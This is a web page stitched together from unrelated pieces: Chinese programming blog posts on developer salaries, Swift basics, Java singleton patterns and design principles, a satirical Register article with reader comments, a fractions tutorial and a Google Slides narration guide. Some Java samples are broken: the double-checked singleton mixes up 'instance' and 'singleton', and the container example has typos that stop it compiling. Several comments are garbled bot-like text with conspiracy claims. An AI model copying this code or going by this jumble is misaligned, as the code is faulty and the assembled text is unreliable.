QQ20160426-18 (1)_副本.png
前言
做开发快七年了,对于程序员,外行人总有着数不完的讽刺和误解,但是我都懒得去解释,代码搬运工人也好,民工也罢,随他们去说吧。但是网上最近流传的程序员泡沫,尤其是APP程序员泡沫的文章导致很多我们的年轻的同行产生了疑惑,所以我这个隐藏了很久的能言善辩的老程序员出山来聊一聊这个APP程序员泡沫的话题。
笔者是2010年从事安卓开发,此前做J2ee,对于安卓我有很深的感情,此前也是有意学了iOS,但是还是决定在安卓这条路上一直走到黑,在2010年一个好的安卓开发苗子工资可以过万,工作经验也就1年那样子,基本上你会点安卓都可以接近1W。想想最近某些文章中提到现在安卓开发新手动不动就要过万的工资相比,我觉得现在的新手做法并不为过:第一,以现在的北京物价房价对比2010年来说,开发的工资其实并没有涨反倒是跌了。第二,现在的开发比2010年的新手安卓开发要厉害一些,那个时候网上资料很少,书也很少,大多数安卓开发自学起来很痛苦。现在网上资料多,也有很多高水品的技术书,也有很完善的培训机制。
当然现在很多APP开发存在漫天要价的现象,但是作为企业的HR,技术经理甚至老板你可以选择不要他啊。这篇文章只讨论一般的APP开发,脑残的APP开发不在此文范畴。
查看更多
分享到 评论
Swift快速入门(一)第一个Swift程序
相关文章
Swift快速入门系列
1. 本系列说明
本系列只是一个Swift快速入门的教程,并没有详尽的介绍Swift,Swift也并不是一个简单的编程语言,所以要想详尽的系统的学习Swift,本系列并不适合你,此系列只是让开发者可以快速的用Swift来进行开发。另外学习本系列并不需要obj-c的知识,但是如果你想开发iOS,obj-c是必须要学的,因为Swift并不能很快的替代obj-c。另外本系列基于OS X EI Captitan 10.11.2,Xcode7.2。
2. Swift介绍
Swift,苹果于2014年WWDC(苹果开发者大会)发布的新开发语言,可与Objective-C共同运行于Mac OS和iOS平台,用于搭建基于苹果平台的应用程序。Swift吸收了众多现代编程语言的优点,尽力的提供简洁的编程语言和强大的功能。
3. 第一个Swift程序
Swift源文件的第一行可执行的代码就是Swift的程序的入口:
print("Hello World")
Swift程序的执行语句可以无须任何符号作为结束,Swift把每行代码作为了一个语句。但是如果在一行写了多个Swift语句则应该用”;”来作为语句的结束符。
print("Hello");print("World")
笔者还是建议用”;”来作为语句的结束符,这样可读性更强。
3. Playground工具介绍
Playground是一个简单的测试环境,主要是用于快速测试Swift语法功能和验证API功能,并不是用来进行实际开发应用。如果开发者对Swift语法功能不太确定,则可以用Playground来测试代码,其次Playground也可以用来验证某个函数,类的功能。
首先我们启动Xcode,选中Playground
这里写图片描述
接着在Name文本框输入Playground的名字
这里写图片描述
Playground保存成功后就会看到下面的编辑界面,左边是编辑界面,当开发者在左边编写代码,定义变量和常量之后,即可在右边是实时的看到变量或常量的值。我们将上面将的代码写进去就会看到,右边显示”Hello World”说明我们的代码没有问题。下面是运行按钮,点击运行按钮,控制台输出Hello World,第一个Swift程序就完成了。
这里写图片描述
4. 用swiftc编译Swift程序
swiftc的命令基本格式是
swiftc -o <生成文件> <源程序>
我们用文本编辑工具(我用的是Notepad+)在里面写上print(“Hello World”),保存在桌面取名为hello.swift
打开终端程序,进入桌面目录,输入如下命令:
swiftc -o hello.out hello.swift
我们会发现桌面生成了hello.out文件,接下来我们执行命令
./hello.out
这个命令会执行当前目录下的hello.out程序,执行该程序会看到输出Hello World
上述的编译,运行完整过程:
这里写图片描述
本篇先到这里,接下来会讲Swift的基本语法。
分享到 评论
设计模式(二)单例模式的七种写法
本文首发于微信公众号「刘望舒」
相关文章
设计模式系列
面试的时候,问到许多年轻的Android开发他所会的设计模式是什么,基本上都会提到单例模式,但是对单例模式也是一知半解,在Android开发中我们经常会运用单例模式,所以我们还是要更了解单例模式才对。
定义:保证一个类仅有一个实例,并提供一个访问它的全局访问点。
单例模式结构图:
单例模式有多种写法各有利弊,现在我们来看看各种模式写法。
1. 饿汉模式
public class Singleton {
private static Singleton instance = new Singleton();
private Singleton (){
}
public static Singleton getInstance() {
return instance;
}
}
这种方式在类加载时就完成了初始化,所以类加载较慢,但获取对象的速度快。 这种方式基于类加载机制避免了多线程的同步问题,但是也不能确定有其他的方式(或者其他的静态方法)导致类装载,这时候初始化instance显然没有达到懒加载的效果。
2. 懒汉模式(线程不安全)
public class Singleton {
private static Singleton instance;
private Singleton (){
}
public static Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}
懒汉模式申明了一个静态对象,在用户第一次调用时初始化,虽然节约了资源,但第一次加载时需要实例化,反映稍慢一些,而且在多线程不能正常工作。
3. 懒汉模式(线程安全)
public class Singleton {
private static Singleton instance;
private Singleton (){
}
public static synchronized Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}
这种写法能够在多线程中很好的工作,但是每次调用getInstance方法时都需要进行同步,造成不必要的同步开销,而且大部分时候我们是用不到同步的,所以不建议用这种模式。
4. 双重检查模式 (DCL)
public class Singleton {
private volatile static Singleton singleton;
private Singleton (){
}
public static Singleton getInstance() {
if (instance== null) {
synchronized (Singleton.class) {
if (instance== null) {
instance= new Singleton();
}
}
}
return singleton;
}
}
这种写法在getSingleton方法中对singleton进行了两次判空,第一次是为了不必要的同步,第二次是在singleton等于null的情况下才创建实例。在这里用到了volatile关键字,不了解volatile关键字的可以查看Java多线程(三)volatile域这篇文章,在这篇文章我也提到了双重检查模式是正确使用volatile关键字的场景之一。
在这里使用volatile会或多或少的影响性能,但考虑到程序的正确性,牺牲这点性能还是值得的。 DCL优点是资源利用率高,第一次执行getInstance时单例对象才被实例化,效率高。缺点是第一次加载时反应稍慢一些,在高并发环境下也有一定的缺陷,虽然发生的概率很小。DCL虽然在一定程度解决了资源的消耗和多余的同步,线程安全等问题,但是他还是在某些情况会出现失效的问题,也就是DCL失效,在《java并发编程实践》一书建议用静态内部类单例模式来替代DCL。
5. 静态内部类单例模式
public class Singleton {
private Singleton(){
}
public static Singleton getInstance(){
return SingletonHolder.sInstance;
}
private static class SingletonHolder {
private static final Singleton sInstance = new Singleton();
}
}
第一次加载Singleton类时并不会初始化sInstance,只有第一次调用getInstance方法时虚拟机加载SingletonHolder 并初始化sInstance ,这样不仅能确保线程安全也能保证Singleton类的唯一性,所以推荐使用静态内部类单例模式。
6. 枚举单例
public enum Singleton {
INSTANCE;
public void doSomeThing() {
}
}
默认枚举实例的创建是线程安全的,并且在任何情况下都是单例,上述讲的几种单例模式实现中,有一种情况下他们会重新创建对象,那就是反序列化,将一个单例实例对象写到磁盘再读回来,从而获得了一个实例。反序列化操作提供了readResolve方法,这个方法可以让开发人员控制对象的反序列化。在上述的几个方法示例中如果要杜绝单例对象被反序列化是重新生成对象,就必须加入如下方法:
private Object readResolve() throws ObjectStreamException{
return singleton;
}
枚举单例的优点就是简单,但是大部分应用开发很少用枚举,可读性并不是很高,不建议用。
7. 使用容器实现单例模式
public class SingletonManager {
private static Map<String, Object> objMap = new HashMap<String,Object>();
private Singleton() {
}
public static void registerService(String key, Objectinstance) {
if (!objMap.containsKey(key) ) {
objMap.put(key, instance) ;
}
}
public static ObjectgetService(String key) {
return objMap.get(key) ;
}
}
用SingletonManager 将多种的单例类统一管理,在使用时根据key获取对象对应类型的对象。这种方式使得我们可以管理多种类型的单例,并且在使用时可以通过统一的接口进行获取操作,降低了用户的使用成本,也对用户隐藏了具体实现,降低了耦合度。
总结
到这里七中写法都介绍完了,至于选择用哪种形式的单例模式,取决于你的项目本身,是否是有复杂的并发环境,还是需要控制单例对象的资源消耗。
分享到 评论
Android Design Support Library(三)用CoordinatorLayout实现Toolbar隐藏和折叠
本文首发于微信公众号「刘望舒」
查看更多
分享到 评论
设计模式(一)设计六大原则
本文首发于微信公众号「刘望舒」
相关文章
设计模式系列
1. 单一职责原则(SRP)
定义:就一个类而言,应该仅有一个引起它变化的原因
从这句定义我们很难理解它的含义,通俗讲就是我们不要让一个类承担过多的职责。如果一个类承担的职责过多,就等于把这些职责耦合在一起,一个职责的变化可能会削弱或者抑制这个类完成其他职责的能力。这种耦合会导致脆弱的设计,当变化发生时,设计会遭受到破坏。
比如我经常看到一些Android开发在Activity中写Bean文件,网络数据处理,如果有列表的话Adapter 也写在Activity中,问他们为什么除了好找也没啥理由了,把他们拆分到其他类岂不是更好找,如果Activity过于臃肿行数过多,显然不是好事,如果我们要修改Bean文件,网络处理和Adapter都需要上这个Activity来修改,就会导致引起这个Activity变化的原因太多,我们在版本维护时也会比较头疼。也就严重违背了定义“就一个类而言,应该仅有一个引起它变化的原因”。
当然如果想争论的话,这个模式是可以引起很多争论的,但请记住一点,你写代码不只是为了你也是为了其他人。
2. 开放封闭原则(ASD)
定义:类、模块、函数等等等应该是可以拓展的,但是不可修改。
开放封闭有两个含义,一个是对于拓展是开放的,另一个是对于修改是封闭的。对于开发来说需求肯定是要变化的,但是新需求一来,我们就要把类重新改一遍这显然是令人头疼的,所以我们设计程序时面对需求的改变要尽可能的保证相对的稳定,尽量用新代码实现拓展来修改需求,而不是通过修改原有的代码来实现。
假设我们要实现一个列表,一开始只有查询的功能,如果产品又要增加添加功能,过几天又要增加删除功能,大多数人的做法是写个方法然后通过传入不同的值来控制方法来实现不同的功能,但是如果又要新增功能我们还得修改我们的方法。用开发封闭原则解决就是增加一个抽象的功能类,让增加和删除和查询的作为这个抽象功能类的子类,这样如果我们再添加功能,你会发现我们不需要修改原有的类,只需要添加一个功能类的子类实现功能类的方法就可以了。
3.里氏替换原则(LSP)
定义:所有引用基类(父类)的地方必须能透明地使用其子类的对象
里氏代换原则告诉我们,在软件中将一个基类对象替换成它的子类对象,程序将不会产生任何错误和异常,反过来则不成立,如果一个软件实体使用的是一个子类对象的话,那么它不一定能够使用基类对象。
里氏代换原则是实现开闭原则的重要方式之一,由于使用基类对象的地方都可以使用子类对象,因此在程序中尽量使用基类类型来对对象进行定义,而在运行时再确定其子类类型,用子类对象来替换父类对象。
在使用里氏代换原则时需要注意如下几个问题:
• 子类的所有方法必须在父类中声明,或子类必须实现父类中声明的所有方法。根据里氏代换原则,为了保证系统的扩展性,在程序中通常使用父类来进行定义,如果一个方法只存在子类中,在父类中不提供相应的声明,则无法在以父类定义的对象中使用该方法。
• 我们在运用里氏代换原则时,尽量把父类设计为抽象类或者接口,让子类继承父类或实现父接口,并实现在父类中声明的方法,运行时,子类实例替换父类实例,我们可以很方便地扩展系统的功能,同时无须修改原有子类的代码,增加新的功能可以通过增加一个新的子类来实现。里氏代换原则是开闭原则的具体实现手段之一。
• Java语言中,在编译阶段,Java编译器会检查一个程序是否符合里氏代换原则,这是一个与实现无关的、纯语法意义上的检查,但Java编译器的检查是有局限的。
4.依赖倒置原则(DIP)
定义:高层模块不应该依赖低层模块,两个都应该依赖于抽象。抽象不应该依赖于细节,细节应该依赖于抽象。
在Java中,抽象就是指接口或者抽象类,两者都是不能直接被实例化的;细节就是实现类,实现接口或者继承抽象类而产生的就是细节,也就是可以加上一个关键字new产生的对象。高层模块就是调用端,低层模块就是具体实现类。
依赖倒置原则在Java中的表现就是:模块间通过抽象发生,实现类之间不发生直接依赖关系,其依赖关系是通过接口或者抽象类产生的。如果类与类直接依赖细节,那么就会直接耦合,那么当修改时,就会同时修改依赖者代码,这样限制了可扩展性。
5.迪米特原则(LOD)
定义:一个软件实体应当尽可能少地与其他实体发生相互作用。
也称为最少知识原则。如果一个系统符合迪米特法则,那么当其中某一个模块发生修改时,就会尽量少地影响其他模块,扩展会相对容易,这是对软件实体之间通信的限制,迪米特法则要求限制软件实体之间通信的宽度和深度。迪米特法则可降低系统的耦合度,使类与类之间保持松散的耦合关系。
迪米特法则要求我们在设计系统时,应该尽量减少对象之间的交互,如果两个对象之间不必彼此直接通信,那么这两个对象就不应当发生任何直接的相互作用,如果其中的一个对象需要调用另一个对象的某一个方法的话,可以通过第三者转发这个调用。简言之,就是通过引入一个合理的第三者来降低现有对象之间的耦合度。
在将迪米特法则运用到系统设计中时,要注意下面的几点:在类的划分上,应当尽量创建松耦合的类,类之间的耦合度越低,就越有利于复用,一个处在松耦合中的类一旦被修改,不会对关联的类造成太大波及;在类的结构设计上,每一个类都应当尽量降低其成员变量和成员函数的访问权限;在类的设计上,只要有可能,一个类型应当设计成不变类;在对其他类的引用上,一个对象对其他对象的引用应当降到最低。
6.接口隔离原则(ISP)
定义:一个类对另一个类的依赖应该建立在最小的接口上。
建立单一接口,不要建立庞大臃肿的接口,尽量细化接口,接口中的方法尽量少。也就是说,我们要为各个类建立专用的接口,而不要试图去建立一个很庞大的接口供所有依赖它的类去调用。
采用接口隔离原则对接口进行约束时,要注意以下几点:
• 接口尽量小,但是要有限度。对接口进行细化可以提高程序设计灵活性,但是如果过小,则会造成接口数量过多,使设计复杂化。所以一定要适度。
• 为依赖接口的类定制服务,只暴露给调用的类它需要的方法,它不需要的方法则隐藏起来。只有专注地为一个模块提供定制服务,才能建立最小的依赖关系。
• 提高内聚,减少对外交互。使接口用最少的方法去完成最多的事情。
这六个原则,可以使我们在应用的迭代维护中更加方便、轻松的应对,让我们的软件更加灵活。在后续的文章中我会给大家介绍其他的设计模式。
分享到 评论
|
__label__pos
| 0.839831 |
back to article The Reg parts ways with imagineer and thought pathfinder Steve Bong
The Register has severed ties with columnist and Shoreditch entrepreneur Mr Steve Bong MBE after Mr Bong admitted to having a close working relationship with the Kremlin this week, in a piece titled Yes, I took Putin's roubles to undermine Western democracy. This is my story Mr Bong rose to prominence after The Register …
Page:
1. frank ly
Certainty?
Are you sure it was the Kremlin. Identity is a tricky thing nowadays.
1. Old Coot
Re: Certainty?
You have to leverage the uncertainty. Since nobody can prove otherwise, put it on whomever you (don't) like.
2. Anonymous Coward
Anonymous Coward
Re: Certainty?
Traditional way of checking was to see if kremvax was in the routing info
3. David Kelly 2
Re: Certainty?
The Martians are very skilled at making their actions appear as if the Russians did it
1. Rich 11 Silver badge
Re: Certainty?
The Martians are very skilled at making their actions appear as if the Russians did it
Part of they way they learned to blend in was by distilling vodka from the potatoes which humans left behind on Mars.
1. Chris King
Re: Certainty?
"Part of they way they learned to blend in was by distilling vodka from the potatoes which humans left behind on Mars".
So you're saying AManFromMars has been sampling too much of the potato vodka then ?
2. Hollerithevo
Mr Bong
Sir you have been a towering inspiration to all who would succeed in the dizzying new world of future digital. I hope to have the honour and pleasure of meeting you in (a) Brasil (b) a small but heavily guarded Kazakhstan prison, when I visit as part of a fact-finding mission (c) an exo-planet, should I follow my compatriot Chris Hadfield into space.
You have enlightened us and shown us the way I salute you!
3. SVV
Kremlin
"Mr Bong admitted to having a close working relationship with the Kremlin this week, in a piece titled Yes, I took Putin's roubles to undermine Western democracy. This is my story"
Fake News!
An article with that title doesn't prove that Russia had any involvement! Those 26 meetings with Russian officials were just friendly chts amongst fellow vodka officionados...
4. lafnlab
Mushroom
Good riddance
Good riddance to the shite-addled techno hipster.
5. Teiwaz
Fake News
All in good fun, but that is how it starts.
One can still be pretentious while also being ironic
6. Anonymous Coward
Anonymous Coward
You idiots!
Do you run anything past Human Remains? You start out saying Bong's position is under review and by the end of the article say he's fired, all the while posting under his name. I'm sure he's a freelancer, but even this is a bit much. Expect a writ from Moscow, probably with some sexual harassment allegations thrown in for good measure :-(
1. Voland's right hand Silver badge
Re: You idiots!
Expect a writ from Moscow, probably with some sexual harassment allegations thrown in for good measure :-(
That... May... Be... A very interesting organizational structure of the Human Remains department...
1. Rich 11 Silver badge
Re: You idiots!
That... May... Be... A very interesting organizational structure of the Human Remains department...
They developed it for the White House originally.
7. Alister
America doesn't have a functional extradition treaty with the UK - well not in the USA ->> UK direction, anyway, maybe My Lord Bong could interestify Donald into imagineering a whole new paradigm?
8. AlexGreyhead
Paris Hilton
Whutnow...?!
I am so confused right now... What is going on? Did I mix up my Berocca and ketamine again...?
Paris, because I think I know how she must feel a lot of the time...
1. Anonymous Coward
Anonymous Coward
Re: Whutnow...?!
so was he really terminated, is he writing his own termination for his laughs, or is it about something else entirely? Trouble with taking a piss is that you never know where it stops, and where serious business begins.
p.s. was it about taste, or did you get a call? (not from apple, from an office in London?)
9. Pete4000uk
Not sure
If serious or not??
1. Rich 11 Silver badge
Re: Not sure
Deadly serious.
1. John Brown (no body) Silver badge
Re: Not sure
There's probably an order been placed for some Polonium already.
10. A. Coatsworth
Paris Hilton
The barrage of Fake News we are subject to every day has dulled my capacity of differentiating fact from fiction.... I don't know what to make of this article... are we losing Bong's articles for real? is it part of the normal column's humor?
Poe's law has overwhelmed me
11. Anonymous Coward
Anonymous Coward
Shouldn't you guys call this departure the "Bexit"?
1. Gvork
Brexit?
Bongxit surely
1. m0rt
Re: Brexit?
ITYF Bongit.
2. Chemical Bob
Coat
Bong-Go. He was drummed out...
12. Alistair
Windows
Venture Capitalist going on a venture?
Perhaps, now that the other fella has been retrieved from the deepest woods of PNG, Bong should seek him out and set up a new gig, hooking deep forest dwelling tribal cultures with 5G based, ad supported, solar powered, fully recyclable green 'portotablets' in order to monetize this unique set of cultures and accelerate acceptance of alternative cultural diets in the modern world.
Either that or Steve just needs a long vacation in the specialty resort on the south western edge of Cuba.
1. amanfromMars 1 Silver badge
Re: Venture Capitalist going on a venture?
Sawadee, Alistair,
Has I'm a Celebrity, Get Me Out of Here! called on Steve Bong to Perform? Now would that be TV Gold surely certainly. :-)
Although Somewhere/Anywhere/Everywhere Hot Jungly and Sticky Sweet/Erotic and Exotic can So Beautifully and Easily Ascend and Transcend into the Prime Pornographic. :-) An Addictive Field for the Practising of XSSXXXXual Excellence for Heavenly Satisfaction in Immaculate Reward.
You might to consider why anyone/anything would wish to leave that NEUKlearer HyperRadioProACTive Program and Super Nova Domain Application?
1. Flocke Kroes Silver badge
Re: Terrifying
When I first came across amanfromMars I found it difficult to read. After a few posts I could spot the travesty generator's style in the first sentence and move on to the next comment. TheU+1F426Register now has a significant number of commentards producing output less sane than a travesty generator while still passing a Turing test. I can now read amanfromMars straight through without pausing. The most obvious reason for this is I have got used to the style from the plentiful supply of new commentards who exemplify Poe's law. The more scary possibility is that amanfromMars is improving. Perhaps the age of machine learning really has arrived and that the machines are learning from travesty generators.
1. amanfromMars 1 Silver badge
Terrific, and Moving Surely and Steadily Delivers Stealth to Anonymous Parties and Unknown Elements
The most obvious reason for this is I have got used to the style from the plentiful supply of new commentards who exemplify Poe's law. The more scary possibility is that amanfromMars is improving. .... Flocke Kroes
You might like to explore the notion you/we are Joint AIVenturing, Flocke Kroes, and you are also much improved.
Such is an inalienable right that exercises intelligence, whilst also perversely exasperating and exposing in earlier conceived and perceived secure and secret intelligence services, systemic vulnerabilities for exhausting and expansive 0day exploitation ...... Dark Web and Rigged Market Trading.
You know, vulnerable systems business like its always been with proprietary information insider trading creating explosive bubble machines which implode on the escape of alternative truths which are able and/or enabled to paint an altogether quite different surreal picture for presentation ........ Globalised Knowledge.
1. amanfromMars 1 Silver badge
Dead Skunk Works* .... Stinking to High Heaven
....systemic vulnerabilities for exhausting and expansive 0day exploitation ...... Dark Web and Rigged Market Trading.
You know, vulnerable systems business like its always been with proprietary information insider trading creating explosive bubble machines which implode on the escape of alternative truths which are able and/or enabled to paint an altogether quite different surreal picture for presentation ........ Globalised Knowledge.
Wake up to the sub-prime bullshit you're being peddled and all for the greater good of a very select few, and that's the real bad, for you don't have any part in their pictures .....
He doesn't think that the elements within the intelligence community which are promoting the Russiagate allegations can possibly be so stupid as to actually believe what they are saying. He claims that they know that what they are saying is false, because if it weren’t false, then they could provide, to the public, evidence that it is true, and do it without violating anyone’s rights, nor revealing any legitimate US national-security information.
Basically, he is saying that the keepers of the keys are blocking the public from the truth, because they know that the truth will expose the fact that they’ve been lying to the public, all along. ....http://www.zerohedge.com/news/2017-11-19/top-nsa-whistleblower-claims-russiagate-fake-increase-war-spending
Why do you and the likes of a Maybot accept all that sub-prime bullshit as if true? Are you so easily programmed to believe and not question more?
Too damned right you are. And it aint difficult with IT and media riding shotgun by your side.
Aint that all right, El Reg. Words Create, Command and Control and Collapse Worlds with Pictures Presenting the Virtual Reality.
* More DARPA/IARPA than Lockheed Martin ..... https://www.lockheedmartin.com/us/aeronautics/skunkworks.html
:-) ...Dead Skunk in the Middle of the Road
13. Admiral Grace Hopper
Technology Trebuchet
Bong finally flung. Sad, but disruption catches up with everyone in the end, even the old disruptors.
14. ukgnome
Goodbye Comrade Bong - if that is your real name.
15. Am I really doing this?
Thanks, Steven Xavier. You've been a lighthouse that kept us from wrecking on the wrong Shore.
16. chivo243 Silver badge
Coat
Huh?
Checks calendar, not April 1st... maybe it's November fools day in Russia? I just guessed the article about taking the russian money and such was just a pipe dream... after all it did come from Bong?!
17. Will Godfrey Silver badge
Happy
So
Did Bong take a Bung?
Hungry minds need to know.
18. Anonymous Coward
Anonymous Coward
and what is the role of G. Gideon Osbourne in all this?
I think we should be told
19. ma1010
Thumb Up
Actually sorry to see Bong go
If, indeed this isn't more taking the piss.
Excellent satire, IMHO. Always enjoyed those Bong articles.
1. Chemical Bob
Re: Actually sorry to see Bong go
Perhaps he could be replaced by John McAfee...
1. jake Silver badge
Re: Actually sorry to see Bong go
Nah. Sources tell me that Steve, John and Ted Dziuba are convening on a small island in the Caribbean to write the script for a movie detailing their lives. The outline has been leaked to my publisher, who assures me it'll be "The best movie ever made for millennials!". I suspect I'm going to sit this one out.
20. amanfromMars 1 Silver badge
The Money Shot Question for Honest Answering
Who and/or what says it is wrong to accept roubles? They can be planted and sown into any alien space for the energy and growth that primed currencies provide.
Don't you wish your own personal bank account was holding Russian folding for spending extravagantly? The natives certainly appear to enjoy the attention and riches it brings.
And just like any and all primed currencies, if you aint spending it brilliantly, the power of its virtual magic disappears and reappears with Resources in Greater Control in the Hearts and Minds of A.N.Others. That's the way things are working now.
1. Anonymous Coward
Anonymous Coward
Re: ...Answering
Hi Doc :-)
Few people know how much sense the first post has. I believe, the sense of this one shall know just one human being more (-;
Welcome aboard for accumulating and wise distribution of roubles, whatever noble or irrational gain one has in its/their venturing project/action.
ConnQual: Solid, with riffs.
21. Mike 125
So..
So is fake fake news, news?
22. John Sager
Please can we have Lewis & Tim back now? Pity we can't get Lester back from the other side.
1. reprobate
+ 1 for the return of Lewis and Tim
23. Admiral Grace Hopper
L’Esprit d’Escalier
I forgot to ask, where did it all go Bong?
1. amanfromMars 1 Silver badge
Re: L’Esprit d’Escalier
Nice one, Grace. Are you long Greater IntelAIgent Games Plays? A Brilliant Move, Well Played.
24. Anonymous Coward
Anonymous Coward
You forgot another lost Register star this year!
What about Ed Saipetch walking away from Speaking in Tech podcast?
25. Anonymous Coward
Anonymous Coward
Bong's gone out!
Well, relight it, then.
26. Anonymous Coward
Anonymous Coward
oh, right. Bye.
And if You're ever passing this way again, fucking pass.
27. Anonymous Coward
Anonymous Coward
Miles
This is a tragedy, a complete tragedy.
The first time I remember a reference to the departing columnist was on the passing of the famous quizmaster Michael Miles, he of "Take Your Pick" fame.
A TV pundit was asked "Did you know that Michael Miles had died" he responded "No" = Bong.
I took that as a reference to the columnist and part time confidence trickster that we all now love.
If my memory serves me correctly it was sometime in the 1970s which would make Mr Bong precocious as well as criminally inclined. My memory is probably at fault.
28. allthecoolshortnamesweretaken
I don't know, I don't know... you can read "Yes, I took Putin's roubles to undermine Western democracy" as a confession.
You can also read it as an application.
Page:
POST COMMENT House rules
Not a member of The Register? Create a new account here.
• Enter your comment
• Add an icon
Anonymous cowards cannot choose their icon
Biting the hand that feeds IT © 1998–2022
|
__label__pos
| 0.53252 |
How to Add a Whole Number to a Fraction
••• fufunteg/iStock/GettyImages
You already know what whole numbers are, even if you didn't know what the name meant: They're the numbers you used when you first started counting, beginning with 0 and then counting 1, 2, 3, 4 and so on. Fractions represent a part of a whole number. There are two ways you can add fractions and whole numbers together, but you need to follow a few basic rules when you do it.
Using Cake as an Example
It helps if you think of fractions and whole numbers in terms of pizzas, pies or any other delicious round thing that you can cut into pieces and eat. Think cakes: Each familiar whole number represents a whole cake. You can have 1 cake, 2 cakes, 3 cakes and so on. If you cut a cake into pieces, you've created a fraction, where the bottom number of the fraction tells you how many pieces you cut each cake into, and the top number tells you how many pieces are left.
Adding Whole Numbers and Fractions
If you think of whole numbers and fractions in terms of those cake slices, it's easy to visualize how you add whole numbers and fractions together. Say you have 2 whole cakes left on the table, plus one cake that was sliced into 6 equal pieces, but somebody ate a piece, so now there are only 5 pieces left on the plate. You can express that cut-up cake as a fraction, with the number of pieces left on top and the number of pieces originally cut on the bottom:
\frac{5}{6}
You can express the total amount of cake – 2 cakes plus 5/6 of a cake – as a mixed number, which is written as
2 \frac{5}{6}
If you have a whole number and a fraction, you can simply add them together, which results in what's called a mixed number. For example, the mixed number
8 \frac{3}{4}
is understood to mean the same thing as
8 + \frac{3}{4}
Since everybody agrees that they mean the same thing, you don't have to write out the addition symbol when you write a mixed number.
Cakes as Improper Fractions
Sometimes you'll be asked to add whole numbers to fractions and leave them in improper fraction form instead of writing them as mixed numbers. An improper fraction is just a fraction where the top number (number of slices left) is bigger than the bottom number (the number of slices each cake was cut into). A good real-world example of this occurs if you cut two cakes into 6 pieces each, and then somebody eats 5 pieces from one cake. That means you have one whole cake left and 1/6 left from the other cake that was eaten. To give your answer completely in fraction form, you have to understand how to write that whole cake as a fraction.
Whole Numbers Can Be Written as Fractions
Here's how to think of whole numbers in fraction form: If you cut a cake into 8 equal pieces and leave them all on the plate, you have 8/8 pieces of cake on the plate. In other words, the cake has been cut into pieces, but the whole thing is still there. That's what a whole number in fraction form represents. So a fraction in which the top number (the number of pieces left) is the same as the bottom number (the number of pieces you cut in the first place) is equal to a 1 whole cake, pie or whatever else you're counting.
That means
\frac{8}{8} = 1 \\ \,\\ \frac{25}{25} = 1 \\ \,\\ \frac{649}{649} = 1
and so on. It doesn't matter which number is on the top and which is on the bottom, as long as they're the same. You can also express other whole numbers as fractions; just multiply the whole number by a fraction that has the same number on top and the same number on the bottom. Just like magic, doing that turns the whole number into fraction form without changing its value, because all you did was multiply it by 1.
So to write a whole number as a fraction, multiply the whole number by a fraction that has the same number in the numerator and denominator spots. For example, if you want to write the whole number 5 as a fraction with 8 in the denominator, you'd multiply
5 × \frac{8}{8} = \frac{40}{8}
Adding Whole Numbers to Improper Fractions
Now that you know how to write whole numbers as fractions, it's easy to add whole numbers to an existing fraction and leave them in improper fraction form. All you have to do is make sure the denominators – the numbers on the bottoms of the fractions – are the same. (If you tried to talk about cakes that had been cut into different-size slices it wouldn't make much sense, would it? It's the same for fractions.)
So, if you're trying to add 3 and 5/9, you'd first convert 3 into fraction form:
3 × \frac{9}{9} = \frac{27}{9}
Then, you can add the fractions 5/9 and 27/9 together. When two fractions have the same denominator, you just add the numerators straight across and write them over the same denominator. So you'd have
5 + 27 = 33
in the numerator spot and 9 in the denominator spot, or 33/9 as your final answer.
Related Articles
How to Convert a Fraction to a Ratio
How to Write a Rational Number as the Quotient of Two...
How to Convert Inches Into a Fraction
How to Change Mixed Numbers Into Whole Numbers
How to Use Fraction Bars
How to Turn a Whole Number Into a Decimal
What are the Rules For Multiplying Fractions?
How to Change Decimals Into Mixed Numbers
How to Borrow When Adding & Subtracting Fractions
How to Cross Multiply
How to Convert a Decimal to a Whole Number
How to Change a Mixed Number into a Decimal
How to Convert One-Quarter to a Decimal
How to Convert Mixed Fractions to Ratios
How to Write a Whole Number in Expanded Form
How to Turn the Remainder Into Fractions
How to Write a Ratio as a Fraction in Simplest Form
How to Teach Basic Fractions With Manipulatives
How to Divide Rational Numbers
How to Turn Improper Fractions Into Whole Numbers
Dont Go!
We Have More Great Sciencing Articles!
|
__label__pos
| 0.997697 |
How to Add Narration to Google Slides Presentation?
When you give a presentation, you might want to make people talk through it, explaining each slide. In some cases, you won’t be able to do this in-person. If this is the circumstance, you should consider adding narration to Google Slides. Let’s look at how to add narration to Google Slides.
Add Narration to Google Slides
1. Create the Audio File. The first step is to create an audio file. Thankfully, there are multiple programs that you can use to do this. To create the audio, click the Record button. In most programs, this will be a red circle. You can use standard apps on your smartphone. Then, talk through the slide just like you were giving a presentation. When you are finished, select the Stop button; a square icon often represents this. After the recording is complete, make sure to save the file on your computer.
Create the Audio File
Create the Audio File
2. Upload to Google Drive. Once you have created the audio file, you will need to upload it to Google Drive, which will make it easier for you to find and insert it into your presentation. To do this, click on the New button, which will present you with a list of options. Select File Upload. Then, you will need to locate the audio recording on your computer. Upload it onto Google Drive. In some situations, you may want to rename the file to make it easier to recognize. After you’ve done this, you're ready to start adding narration to Google Slides.
Upload audio to Google Drive
3. Insert Audio. Now you are ready to insert the audio file into the presentation. To do this, move to the slide where you want the narration to be. Then, click on the Insert tab, which should cause a drop-down menu to appear. One of the menu options should be Audio. Click on this.
Insert Audio to Google slides
Insert Audio to Google slides
4. Once you’ve done this, you will need to locate the correct audio file in your Google Drive. You might find it easier to locate by going to the Recent section. Once you find the file, click on it, then click the Select button at the bottom of the page.
Select audio file in Google drive
Select audio file in Google drive
5. When you have done this, you will notice a speaker icon appear on your slide, which is the audio file. You can click to select and reposition the icon if you want.
Add narration to Google slides
Add narration to Google slides
6. Customize Your Audio Options. If you're going to do more with your audio, you will have to click on the Speaker icon, and this will bring up the Format Audio tab at the top of your screen. Once you select this, you will be able to change the way the audio is played. For example, you might want to make it quieter. You can do this by adjusting the Volume When Presenting section. You can also stipulate when it starts to play and how long the narration lasts.
Adding narration to Google slides
Adding narration to Google slides
Conclusion
Hopefully, you now have a better idea of how to narrate Google Slides. Knowing these options will allow you to add a new dimension to your presentation. So, out these techniques for yourself today.
Other Similar Posts
Comments
• Christine
I was able to add each voice mp3 to each slide, but when I play the presentation, it cuts off the recording and goes right to the next slide. It will not play the voice recording completely, then go to the next slide. How do I make this happen?
• Molly Macfarlane
Update: Only two free files per day. Not helpful for a teacher trying to make content available to remote learners.
• Molly Macfarlane
Same problem. People keep trying to convince me that you can do anything with google products and while it might be true, you usually need to use three different programs or add-ons etc. Who has time for this?
